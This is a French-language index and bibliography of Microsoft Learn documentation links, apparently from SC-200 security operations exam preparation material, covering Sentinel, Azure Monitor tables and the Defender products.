**StorageBlobLogs** : 234, 261, 382, 385, 398, 445
**summarize** : 6, 7, 20, 33, 37, 43, 46, 49, 66, 67, 71, 72, 89, 111, 112, 113, 124, 125, 137, 139, 142, 156, 160, 161, 164 … (+88)
**Syslog** : 1, 13, 16, 18, 19, 20, 21, 24, 44, 45, 69, 71, 72, 165, 170, 171, 172, 188, 231, 301, 338, 380
**Threat Explorer** : 122, 123, 126, 133, 134, 169, 290, 295, 407
**ThreatIntelIndicators** : 22, 229, 240, 350
**tostring** : 145, 164, 165, 195, 197, 200, 245, 246, 250, 263, 266, 272, 301, 304, 388, 418, 433, 437, 443
**UEBA** : 25, 39, 45, 46, 65, 66, 73, 213, 225, 242, 246, 420
**union** : 6, 72, 161, 192, 200, 211, 213, 423, 440
**UrlClickEvents** : 123, 125, 145, 237, 256, 290, 292, 295, 321
**Usage** : 20, 32, 33, 70, 400, 426, 430
**watchlist** : 40, 51, 55, 62, 67, 69, 127, 141, 148, 162, 229, 230, 251, 275, 286, 302, 329, 335, 340, 347, 351, 397, 420, 423, 436
**WEF** : 18
**WindowsEvent** : 16, 18, 233
**ZAP** : 123, 124, 129, 130, 256

# Bibliographie officielle

Toutes les URL ci-dessous ont été vérifiées automatiquement (réponse HTTP 200, sans redirection vers une autre page) le **2026-10-12** par le script `scripts/verify_refs.py`. Les titres sont ceux affichés par Microsoft Learn (version française) à cette date. Les entrées marquées ★ sont citées dans au moins une question.

## Certification SC-200


- Guide d'étude de l'examen SC-200 : Analyste des opérations de sécurité Microsoft — https://learn.microsoft.com/fr-fr/credentials/certifications/resources/study-guides/sc-200
- Microsoft certifié : Analyste des opérations de sécurité associé — https://learn.microsoft.com/fr-fr/credentials/certifications/security-operations-analyst/


## Microsoft Sentinel


- ★ Activer l'analyse du comportement des utilisateurs et des entités (UEBA) dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/enable-entity-behavior-analytics
- ★ Activer l'audit et la surveillance de l'intégrité pour Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/enable-monitoring
- ★ Afficher la couverture de l'infrastructure MITRE ATT&CK dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/mitre-coverage
- ★ Agréger des données Microsoft Sentinel avec des règles récapitulatives — https://learn.microsoft.com/fr-fr/azure/sentinel/summary-rules
- ★ Associer des alertes à des incidents dans Microsoft Sentinel dans le Portail Azure — https://learn.microsoft.com/fr-fr/azure/sentinel/relate-alerts-to-incidents
- ★ Automatiser la réponse aux menaces avec des playbooks dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/automation/automate-responses-with-playbooks
- ★ Automatiser la réponse aux menaces dans Microsoft Sentinel avec des règles d'automatisation — https://learn.microsoft.com/fr-fr/azure/sentinel/automate-incident-handling-with-automation-rules
- ★ Chasse aux menaces dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/hunting
- ★ Collection d'outils dans Microsoft Sentinel serveur MCP — https://learn.microsoft.com/fr-fr/azure/sentinel/datalake/sentinel-mcp-tools-overview
- ★ Comparer les tâches KQL, les règles de synthèse et les tâches de recherche dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/datalake/kql-jobs-summary-rules-search-jobs
- ★ Configurer la conservation interactive et à long terme des données dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/configure-data-retention-archive
- ★ Configurer les paramètres de table dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/manage-table-tiers-retention
- ★ Connecter Microsoft Sentinel au portail Microsoft Defender — https://learn.microsoft.com/fr-fr/azure/sentinel/microsoft-sentinel-onboard
- ★ connecteurs de données Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/connect-data-sources
- Connectez votre plateforme de veille sur les menaces à Microsoft Sentinel avec l'API de chargement (préversion) — https://learn.microsoft.com/fr-fr/azure/sentinel/connect-threat-intelligence-upload-api
- ★ Créer des tâches KQL dans le lac de données de Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/datalake/kql-jobs
- ★ Créer et gérer les playbooks Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/automation/create-playbooks
- ★ Créer et utiliser des règles d'automatisation Microsoft Sentinel pour gérer la réponse — https://learn.microsoft.com/fr-fr/azure/sentinel/create-manage-use-automation-rules
- ★ Créer une règle d'analyse planifiée à partir de zéro — https://learn.microsoft.com/fr-fr/azure/sentinel/create-analytics-rules
- ★ Déclencheurs et actions pris en charge dans les playbooks Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/automation/playbook-triggers-actions
- ★ Découvrir et gérer le contenu prêt à l'emploi de Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/sentinel-solutions-deploy
- ★ Démarrer une investigation en recherchant des événements dans des jeux de données volumineux — https://learn.microsoft.com/fr-fr/azure/sentinel/investigate-large-datasets
- ★ Déployer du contenu en tant que code à partir de votre référentiel — https://learn.microsoft.com/fr-fr/azure/sentinel/ci-cd

- ★ Détection avancée des menaces avec l'analyse du comportement des utilisateurs et des entités (UEBA) dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/identify-threats-with-entity-behavior-analytics
- ★ Détection avancée d'attaques à plusieurs niveaux dans Azure Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/fusion
- ★ Détection des menaces dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/threat-detection
- ★ Détection rapide des menaces avec des règles d'analyse en quasi-temps réel (NRT) dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/near-real-time-rules
- ★ Effectuer le suivi des données pendant la chasse avec Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/bookmarks
- ★ Examiner les incidents Microsoft Sentinel en profondeur dans le Portail Azure — https://learn.microsoft.com/fr-fr/azure/sentinel/investigate-incidents
- ★ Faire apparaître des détails d'événements personnalisés dans les alertes de Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/surface-custom-details-in-alerts
- ★ Gestion du délai d'ingestion dans les règles d'analytique planifiée — https://learn.microsoft.com/fr-fr/azure/sentinel/ingestion-delay
- ★ Gérer les niveaux de données et la rétention dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/manage-data-overview
- ★ Ingestion et transformation de données personnalisées dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/data-transformation
- ★ Ingérer des messages syslog et CEF pour Microsoft Sentinel avec l'agent Azure Monitor — https://learn.microsoft.com/fr-fr/azure/sentinel/connect-cef-syslog-ama
- Intégrer le lac de données Microsoft Sentinel et le graphe Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/datalake/sentinel-lake-onboarding
- KQL et le lac de données Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/datalake/kql-overview
- ★ Listes de surveillance dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/watchlists
- ★ Mapper des champs de données à des entités dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/map-data-fields-to-entities
- ★ Mener une chasse proactive de bout en bout aux menaces dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/hunts
- ★ Microsoft Sentinel dans le portail Microsoft Defender — https://learn.microsoft.com/fr-fr/azure/sentinel/microsoft-sentinel-defender-portal
- ★ Niveaux de rétention des journaux dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/log-plans
- ★ Normalisation et modèle ASIM (Advanced Security Information Model) — https://learn.microsoft.com/fr-fr/azure/sentinel/normalization
- ★ Notebooks Jupyter avec les fonctionnalités de repérage de Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/notebooks
- ★ Notebooks Jupyter et lac de données Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/datalake/notebooks-overview
- ★ Optimiser vos opérations de sécurité — https://learn.microsoft.com/fr-fr/azure/sentinel/soc-optimization/soc-optimization-access
- ★ Personnaliser les détails de l'alerte dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/customize-alert-details
- ★ Planifier les coûts et comprendre Microsoft Sentinel tarification et facturation — https://learn.microsoft.com/fr-fr/azure/sentinel/billing
- ★ Quelle est la prise en charge par Microsoft Sentinel du protocole MCP (Model Context Protocol) ? — https://learn.microsoft.com/fr-fr/azure/sentinel/datalake/sentinel-mcp-overview
- ★ Qu'est-ce que le graphe Microsoft Sentinel ? — https://learn.microsoft.com/fr-fr/azure/sentinel/datalake/sentinel-graph-overview
- ★ Qu'est-ce que le lac de données Microsoft Sentinel ? — https://learn.microsoft.com/fr-fr/azure/sentinel/datalake/sentinel-lake-overview
- ★ Qu'est-ce que Microsoft Sentinel gestion des informations et des événements de sécurité (SIEM) ? — https://learn.microsoft.com/fr-fr/azure/sentinel/overview
- Rechercher votre connecteur de données Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/data-connectors-reference
- ★ Rechercher votre connecteur de données Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/data-connectors-reference
- ★ Renseignement sur les menaces dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/understand-threat-intelligence

- ★ Règles d'analyse planifiées dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/scheduled-rules-overview
- ★ Réduire les coûts de Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/billing-reduce-costs
- ★ Rôles et autorisations dans la plateforme Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/roles
- ★ Se connecter Microsoft Sentinel à d'autres services Microsoft avec un connecteur de données basé sur un agent Windows — https://learn.microsoft.com/fr-fr/azure/sentinel/connect-services-windows-based
- Security Copilot avec Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/sentinel-security-copilot
- ★ sources de données et enrichissements de schémas Microsoft Sentinel user and Entity Behavior Analytics (UEBA) — https://learn.microsoft.com/fr-fr/azure/sentinel/ueba-reference
- ★ Stream les données de Microsoft Defender XDR à Microsoft Sentinel dans le Portail Azure — https://learn.microsoft.com/fr-fr/azure/sentinel/connect-microsoft-365-defender
- ★ Utiliser des anomalies personnalisables pour détecter les menaces dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/soc-ml-anomalies
- ★ Utiliser des tâches pour gérer les incidents dans Microsoft Sentinel dans le Portail Azure — https://learn.microsoft.com/fr-fr/azure/sentinel/incident-tasks
- ★ Utiliser le renseignement sur les menaces dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/work-with-threat-indicators
- ★ Utiliser l'analytique correspondante dans Microsoft Sentinel pour détecter les menaces — https://learn.microsoft.com/fr-fr/azure/sentinel/use-matching-analytics-to-detect-threats
- ★ Utiliser STIX/TAXII pour importer et exporter le renseignement sur les menaces dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/connect-threat-intelligence-taxii
- Visualiser des graphiques dans Microsoft Sentinel (préversion) — https://learn.microsoft.com/fr-fr/azure/sentinel/datalake/graph-visualization
- ★ Visualiser et surveiller vos données à l'aide de classeurs dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/monitor-your-data

## Azure Monitor / Log Analytics

- ★ AADNonInteractiveUserSignInLogs — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/aadnoninteractiveusersigninlogs
- ★ AADUserRiskEvents — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/aaduserriskevents
- ★ Activité de Bureau — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/officeactivity
- ★ Ajouter ou supprimer des tables et des colonnes dans Azure Monitor Logs — https://learn.microsoft.com/fr-fr/azure/azure-monitor/logs/create-custom-table
- ★ Alerte de sécurité — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/securityalert
- ★ Anomalies — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/anomalies
- ★ API Ingestion des journaux dans Azure Monitor — https://learn.microsoft.com/fr-fr/azure/azure-monitor/logs/logs-ingestion-api-overview
- AZFWNetworkRule — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/azfwnetworkrule
- ★ AzureActivity — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/azureactivity
- AzureDiagnostics — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/azurediagnostics
- ★ BehaviorAnalytics — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/behavioranalytics
- Calculs et options des coûts des journaux Azure Monitor — https://learn.microsoft.com/fr-fr/azure/azure-monitor/logs/cost-logs
- ★ Concevoir une architecture d'espace de travail Log Analytics — https://learn.microsoft.com/fr-fr/azure/azure-monitor/logs/workspace-design
- DnsEvents — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/dnsevents
- Gérer la conservation des données dans un espace de travail Log Analytics — https://learn.microsoft.com/fr-fr/azure/azure-monitor/logs/data-retention-configure
- ★ Heartbeat — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/heartbeat
- ★ IdentityInfo — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/identityinfo
- ★ Incident de sécurité — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/securityincident
- Indicateur de Renseignement sur les Menaces — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/threatintelligenceindicator
- ★ Journal d'activité dans Azure Monitor — https://learn.microsoft.com/fr-fr/azure/azure-monitor/fundamentals/activity-log
- ★ JournalDeSécuritéCommun — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/commonsecuritylog
- ★ Journaux d'audit — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/auditlogs
- ★ MicrosoftGraphActivityLogs — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/microsoftgraphactivitylogs

- ★ Paramètres de diagnostic dans Azure Monitor — https://learn.microsoft.com/fr-fr/azure/azure-monitor/data-collection/diagnostic-settings
- ★ Règles de collecte de données (DCR) dans Azure Monitor — https://learn.microsoft.com/fr-fr/azure/azure-monitor/data-collection/data-collection-rule-overview
- ★ SentinelHealth — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/sentinelhealth
- ★ SigninLogs — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/signinlogs
- ★ StorageBlobLogs — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/storagebloblogs
- ★ syslog (protocole standard pour la journalisation des événements en informatique) — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/syslog
- ★ ThreatIntelIndicators — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/threatintelindicators
- ★ Transformations dans Azure Monitor — https://learn.microsoft.com/fr-fr/azure/azure-monitor/data-collection/data-collection-transformations
- ★ Utilisation — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/usage
- Vue d'ensemble de Journaux d'activité Azure Monitor — https://learn.microsoft.com/fr-fr/azure/azure-monitor/logs/data-platform-logs
- WindowsEvent — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/windowsevent
- Événement — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/event
- ★ Événement de sécurité — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/securityevent

## Microsoft Defender XDR

- Agent de triage du phishing Microsoft Security Copilot dans Microsoft Defender — https://learn.microsoft.com/fr-fr/defender-xdr/phishing-triage-agent
- ★ AlertEvidence — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-alertevidence-table
- ★ AlertInfo — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-alertinfo-table
- ★ Analyse des menaces dans Microsoft Defender — https://learn.microsoft.com/fr-fr/defender-xdr/threat-analytics
- Bonnes pratiques relatives aux requêtes de chasse avancée — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-best-practices
- ★ Chasse avancée avec les données Microsoft Sentinel dans le portail Microsoft Defender — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-microsoft-defender
- ★ Chasser de manière proactive les menaces avec une chasse avancée dans Microsoft Defender — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-overview
- ★ CloudAppEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-cloudappevents-table
- Comprendre le schéma de repérage avancé — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-schema-tables
- Configurer les notifications d'alerte dans Microsoft Defender XDR — https://learn.microsoft.com/fr-fr/defender-xdr/configure-email-notifications
- ★ Configurer l'interruption automatique des attaques dans Microsoft Defender XDR — https://learn.microsoft.com/fr-fr/defender-xdr/configure-attack-disruption
- ★ Corrélation des alertes et fusion des incidents dans le portail Microsoft Defender — https://learn.microsoft.com/fr-fr/defender-xdr/alerts-incidents-correlation
- ★ Créer des règles de détection personnalisées dans Microsoft Defender XDR — https://learn.microsoft.com/fr-fr/defender-xdr/custom-detection-rules
- ★ DeviceEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-deviceevents-table
- ★ DeviceFileEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-devicefileevents-table
- DeviceImageLoadEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-deviceimageloadevents-table
- DeviceInfo — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-deviceinfo-table
- ★ DeviceLogonEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-devicelogonevents-table
- ★ DeviceNetworkEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-devicenetworkevents-table
- ★ DeviceProcessEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-deviceprocessevents-table
- ★ DeviceRegistryEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-deviceregistryevents-table
- ★ DeviceTvmSoftwareVulnerabilities — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-devicetvmsoftwarevulnerabilities-table
- Découvrir le langage de requête de repérage avancé — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-query-language
- ★ Déployer des agents IA dans Microsoft Defender — https://learn.microsoft.com/fr-fr/defender-xdr/security-copilot-agents-defender
- ★ Effectuer des actions sur les résultats de requête de chasse avancée — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-take-action

- ★ EmailAttachmentInfo — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-emailattachmentinfo-table
- ★ EmailEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-emailevents-table
- ★ EmailPostDeliveryEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-emailpostdeliveryevents-table
- ★ EmailUrlInfo — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-emailurlinfo-table
- EntraIdSignInEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-entraidsigninevents-table
- ★ Examiner les alertes dans Microsoft Defender XDR — https://learn.microsoft.com/fr-fr/defender-xdr/investigate-alerts
- ★ Examiner les alertes dans Microsoft Defender XDR — https://learn.microsoft.com/fr-fr/defender-xdr/investigate-alerts
- ★ Examiner les incidents dans le portail Microsoft Defender (ancienne version) — https://learn.microsoft.com/fr-fr/defender-xdr/investigate-incidents
- ★ FileProfile() — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-fileprofile-function
- ★ Gestion de dossiers dans le portail Microsoft Defender — https://learn.microsoft.com/fr-fr/defender-xdr/siem-defender-case-management
- GraphAPIAuditEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-graphapiauditevents-table
- ★ Gérer les incidents dans le portail Microsoft Defender (hérité) — https://learn.microsoft.com/fr-fr/defender-xdr/manage-incidents
- ★ IdentityDirectoryEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-identitydirectoryevents-table
- IdentityInfo — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-identityinfo-table
- ★ IdentityLogonEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-identitylogonevents-table
- ★ IdentityQueryEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-identityqueryevents-table
- ★ Incidents et alertes dans le portail Microsoft Defender — https://learn.microsoft.com/fr-fr/defender-xdr/incidents-overview
- ★ Interruption automatique des attaques dans Microsoft Defender — https://learn.microsoft.com/fr-fr/defender-xdr/automatic-attack-disruption
- ★ Investigation et réponse automatisées dans Microsoft Defender XDR — https://learn.microsoft.com/fr-fr/defender-xdr/m365d-autoir
- ISOC dans Microsoft Defender (aperçu) — https://learn.microsoft.com/fr-fr/defender-xdr/isoc-overview
- ★ Microsoft Defender contrôle d'accès basé sur les rôles (RBAC) unifié — https://learn.microsoft.com/fr-fr/defender-xdr/manage-rbac
- Microsoft Security Copilot et conversation instantanée dans Microsoft Defender — https://learn.microsoft.com/fr-fr/defender-xdr/security-copilot-in-microsoft-365-defender
- ★ Obtenir Notifications par e-mail des mises à jour d'Analyse des menaces dans Microsoft Defender XDR — https://learn.microsoft.com/fr-fr/defender-xdr/m365d-threat-analytics-notifications
- ★ Obtenir Notifications par e-mail pour les actions de réponse dans Microsoft Defender XDR — https://learn.microsoft.com/fr-fr/defender-xdr/m365d-response-actions-notifications
- ★ Qu'est-ce que Microsoft Defender XDR ? — https://learn.microsoft.com/fr-fr/defender-xdr/microsoft-365-defender
- ★ Recevoir des notifications d'incident par e-mail dans Microsoft Defender XDR — https://learn.microsoft.com/fr-fr/defender-xdr/m365d-notifications-incidents
- ★ Rechercher les menaces à l'aide du graphique de chasse — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-graph
- ★ Résumer un incident avec Microsoft Copilot dans Microsoft Defender — https://learn.microsoft.com/fr-fr/defender-xdr/security-copilot-m365d-incident-summary
- ★ UrlClickEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-urlclickevents-table
- Utiliser des requêtes partagées dans un repérage avancé — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-shared-queries
- Utiliser le rapport de ressources de la requête de chasse avancée — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-limits
- ★ Vue d'ensemble des détections personnalisées — https://learn.microsoft.com/fr-fr/defender-xdr/custom-detections-overview
- ★ Vue d'ensemble du centre de notifications dans Microsoft Defender XDR — https://learn.microsoft.com/fr-fr/defender-xdr/m365d-action-center

## Microsoft Defender for Endpoint

- ★ Aperçu de la protection contre les falsifications — https://learn.microsoft.com/fr-fr/defender-endpoint/tamper-protection-overview
- ★ Collecte de données personnalisées dans Microsoft Defender pour point de terminaison — https://learn.microsoft.com/fr-fr/defender-endpoint/custom-data-collection
- ★ Configurer des fonctionnalités avancées dans Defender pour point de terminaison — https://learn.microsoft.com/fr-fr/defender-endpoint/advanced-features

- ★ Créer des indicateurs de fichier dans Microsoft Defender for Endpoint — https://learn.microsoft.com/fr-fr/defender-endpoint/indicator-file
- Créer des indicateurs pour les certificats dans Microsoft Defender for Endpoint — https://learn.microsoft.com/fr-fr/defender-endpoint/indicator-certificates
- ★ Créer des indicateurs pour les IP et URL/domaines — https://learn.microsoft.com/fr-fr/defender-endpoint/indicator-ip-domain
- ★ Créer et gérer des groupes d'appareils dans Microsoft Defender pour point de terminaison — https://learn.microsoft.com/fr-fr/defender-endpoint/machine-groups
- ★ Créer et gérer des règles de collecte de données personnalisées dans Microsoft Defender pour point de terminaison — https://learn.microsoft.com/fr-fr/defender-endpoint/create-custom-data-collection-rules
- ★ Examiner les appareils dans Microsoft Defender for Endpoint — https://learn.microsoft.com/fr-fr/defender-endpoint/investigate-machines
- ★ Examiner les appareils dans Microsoft Defender for Endpoint — https://learn.microsoft.com/fr-fr/defender-endpoint/investigate-machines
- ★ Examiner les entités sur les appareils avec Live Response — https://learn.microsoft.com/fr-fr/defender-endpoint/live-response
- ★ Filtrage de contenu web dans Microsoft Defender for Endpoint — https://learn.microsoft.com/fr-fr/defender-endpoint/web-content-filtering
- ★ Gérer des règles de suppression — https://learn.microsoft.com/fr-fr/defender-endpoint/manage-suppression-rules
- ★ Gérer l'accès au portail à l'aide du contrôle d'accès en fonction du rôle — https://learn.microsoft.com/fr-fr/defender-endpoint/rbac
- ★ Niveaux d'automatisation dans les fonctionnalités d'investigation et de correction automatisées — https://learn.microsoft.com/fr-fr/defender-endpoint/automation-levels
- ★ Prendre des mesures de réponse sur un appareil — https://learn.microsoft.com/fr-fr/defender-endpoint/respond-machine-alerts
- ★ Prendre des mesures de réponse sur un fichier — https://learn.microsoft.com/fr-fr/defender-endpoint/respond-file-alerts
- ★ Protection évolutive des points de terminaison en mode bloc — https://learn.microsoft.com/fr-fr/defender-endpoint/edr-in-block-mode
- ★ Référence des règles de réduction de la surface d'attaque (ASR) — https://learn.microsoft.com/fr-fr/defender-endpoint/attack-surface-reduction-rules-reference
- Utiliser la protection réseau pour empêcher les connexions à des sites malveillants ou suspects — https://learn.microsoft.com/fr-fr/defender-endpoint/network-protection
- ★ Vue d'ensemble de la découverte d'appareils Microsoft Defender pour point de terminaison — https://learn.microsoft.com/fr-fr/defender-endpoint/device-discovery
- ★ Vue d'ensemble de l'accès contrôlé aux dossiers (CFA) — https://learn.microsoft.com/fr-fr/defender-endpoint/controlled-folder-access-overview
- ★ Vue d'ensemble de Microsoft Defender pour point de terminaison — https://learn.microsoft.com/fr-fr/defender-endpoint/microsoft-defender-endpoint
- ★ Vue d'ensemble des enquêtes automatisées — https://learn.microsoft.com/fr-fr/defender-endpoint/automated-investigations
- Vue d'ensemble des indicateurs dans Microsoft Defender pour point de terminaison — https://learn.microsoft.com/fr-fr/defender-endpoint/indicators-overview
- ★ Vue d'ensemble des règles de réduction de la surface d'attaque (ASR) — https://learn.microsoft.com/fr-fr/defender-endpoint/attack-surface-reduction-rules-overview

## Microsoft Defender for Office 365

- ★ Campagnes dans Microsoft Defender pour Office 365 — https://learn.microsoft.com/fr-fr/defender-office-365/campaigns
- ★ Commencer à utiliser la formation à la simulation d'attaque — https://learn.microsoft.com/fr-fr/defender-office-365/attack-simulation-training-get-started
- ★ Contrôler le transfert automatique d'e-mails externes à partir de boîtes aux lettres cloud — https://learn.microsoft.com/fr-fr/defender-office-365/outbound-spam-policies-external-email-forwarding
- ★ Corriger les courriers malveillants remis dans Office 365 — https://learn.microsoft.com/fr-fr/defender-office-365/remediate-malicious-email-delivered-office-365
- Examiner et gérer les actions de correction dans les enquêtes et réponses automatisées (AIR) dans Microsoft Defender pour Office 365 Plan 2 — https://learn.microsoft.com/fr-fr/defender-office-365/air-review-approve-pending-completed-actions
- ★ Gérer les autorisations et les blocages dans la liste d'autorisation/de blocage du locataire — https://learn.microsoft.com/fr-fr/defender-office-365/tenant-allow-block-list-about
- ★ Investigation et réponse automatisées (AIR) dans Microsoft Defender pour Office 365 Plan 2 — https://learn.microsoft.com/fr-fr/defender-office-365/air-about

- ★ Liens fiables dans Microsoft Defender pour Office 365 — https://learn.microsoft.com/fr-fr/defender-office-365/safe-links-about
- Messages électroniques mis en quarantaine dans les organisations cloud — https://learn.microsoft.com/fr-fr/defender-office-365/quarantine-about
- ★ Microsoft Defender pour Office 365 vue d'ensemble — https://learn.microsoft.com/fr-fr/defender-office-365/mdo-about
- Page d'entité Email dans Microsoft Defender pour Office 365 — https://learn.microsoft.com/fr-fr/defender-office-365/mdo-email-entity-page
- ★ Paramètres signalés par l'utilisateur — https://learn.microsoft.com/fr-fr/defender-office-365/submissions-user-reported-messages-custom-mailbox
- ★ Pièces jointes sécurisées dans Defender pour Office 365 — https://learn.microsoft.com/fr-fr/defender-office-365/safe-attachments-about
- ★ Purge automatique à l'heure zéro (ZAP) dans Microsoft Defender pour Office 365 — https://learn.microsoft.com/fr-fr/defender-office-365/zero-hour-auto-purge
- ★ Recherche des menaces dans l'Explorateur des menaces et détections en temps réel dans Microsoft Defender pour Office 365 — https://learn.microsoft.com/fr-fr/defender-office-365/threat-explorer-threat-hunting
- ★ Répondre à un compte de messagerie cloud compromis — https://learn.microsoft.com/fr-fr/defender-office-365/responding-to-a-compromised-email-account
- ★ Stratégies anti-hameçonnage dans les organisations cloud — https://learn.microsoft.com/fr-fr/defender-office-365/anti-phishing-policies-about
- Stratégies de sécurité prédéfinies dans les organisations cloud — https://learn.microsoft.com/fr-fr/defender-office-365/preset-security-policies
- ★ Utilisez la page Soumissions pour envoyer des courriers indésirables suspects, des hameçonnages, des URL, des e-mails légitimes bloqués et des pièces jointes à Microsoft — https://learn.microsoft.com/fr-fr/defender-office-365/submissions-admin
- ★ À propos de Threat Explorer et des détections en temps réel dans Microsoft Defender pour Office 365 — https://learn.microsoft.com/fr-fr/defender-office-365/threat-explorer-real-time-detections-about

## Microsoft Defender for Identity

- ★ Actions de correction dans Microsoft Defender pour Identity — https://learn.microsoft.com/fr-fr/defender-for-identity/remediation-actions
- Activez le capteur Microsoft Defender pour Identity v3.x — https://learn.microsoft.com/fr-fr/defender-for-identity/deploy/activate-sensor
- ★ Alertes de sécurité dans Microsoft Defender pour Identity — https://learn.microsoft.com/fr-fr/defender-for-identity/alerts-overview
- Alertes de sécurité dans Microsoft Defender pour Identity — https://learn.microsoft.com/fr-fr/defender-for-identity/alerts-overview
- ★ Balises d'entité de Defender for Identity dans Microsoft Defender — https://learn.microsoft.com/fr-fr/defender-for-identity/entity-tags
